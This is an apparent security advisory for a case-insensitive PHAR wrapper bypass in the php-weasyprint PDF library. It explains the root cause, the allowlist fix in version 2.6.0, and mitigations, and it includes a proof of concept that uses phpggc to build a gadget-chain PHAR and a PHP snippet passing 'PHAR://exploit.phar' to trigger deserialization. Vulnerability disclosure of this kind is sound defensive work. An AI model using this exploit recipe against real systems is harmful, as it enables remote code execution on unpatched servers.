CVE-2026-49286: pontedilana/php-weasyprint PHAR Deserialization via Case-Insensitive Stream Wrapper Bypass
A case-sensitive blocklist in php-weasyprint lets attackers pass a PHAR archive path using mixed-case like PHAR:// to bypass the output filename guard and trigger PHP object deserialization, leading t
The problem
The library's `prepareOutput()` method blocked the `phar://` stream wrapper with a literal lowercase `strpos()` check. Because PHP resolves stream wrappers case-insensitively, passing `PHAR://`, `Phar://`, or any other variant skips the guard entirely.
An attacker who can control the output filename passed to `generate()` or `generateFromHtml()`, and who can also place a crafted PHAR archive on the target filesystem (for example, via a file upload endpoint), can trigger deserialization of the PHAR metadata. On PHP 7 (still a supported target for this library) that deserialization executes arbitrary code.
Proof of concept
# Step 1: craft a PHAR with a gadget chain (requires phpggc)
phpggc -f Monolog/RCE1 exec 'touch /tmp/pwned' -p phar -o exploit.phar
# Step 2: trigger deserialization via the case-bypassed wrapper
<?php
use Pontedilana\PhpWeasyPrint\Pdf;
$pdf = new Pdf('/usr/local/bin/weasyprint');
// 'PHAR://' passes the lowercase strpos() check; file_exists() deserializes the PHAR metadata
$pdf->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar');
// On PHP < 8: gadget chain fires -> /tmp/pwned is createdThe root cause is CWE-502 (Deserialization of Untrusted Data) compounded by a case-sensitive string comparison against a value PHP itself treats as case-insensitive. The original CVE-2023-28115 fix added `if (0 === strpos($filename, 'phar://'))` but never lowercased the input first, so any non-lowercase variant flows straight to `file_exists()`.
When `file_exists()` is called with a `phar://` URI on PHP 7, PHP automatically deserializes the PHAR archive's serialized metadata, executing any `__destruct()` or `__wakeup()` method on objects embedded in a gadget chain.
The patch in 2.6.0 replaces the blocklist entirely with an allowlist. It uses `parse_url()` to extract the scheme, lowercases it with `strtolower()`, and rejects anything that is not `file` (or no scheme at all, for plain filesystem paths). This stops `phar`, `PHAR`, `php`, `http`, and every other wrapper before `file_exists()` is ever reached.
The fix
Update to `pontedilana/php-weasyprint` 2.6.0 via Composer: `composer require pontedilana/php-weasyprint:^2.6.0`. The patched version replaces the case-sensitive `phar://` blocklist with a `parse_url()` + `strtolower()` allowlist that permits only the `file` scheme (commit d1aa487722b5a3cab9b222b85fdb5608a5a550c3).
If upgrading immediately is not possible, sanitize and validate any caller-controlled output filename before passing it to `generate()` or `generateFromHtml()`, and block file uploads from being stored at attacker-predictable paths.
Reported by Rémi Matasse (Synacktiv).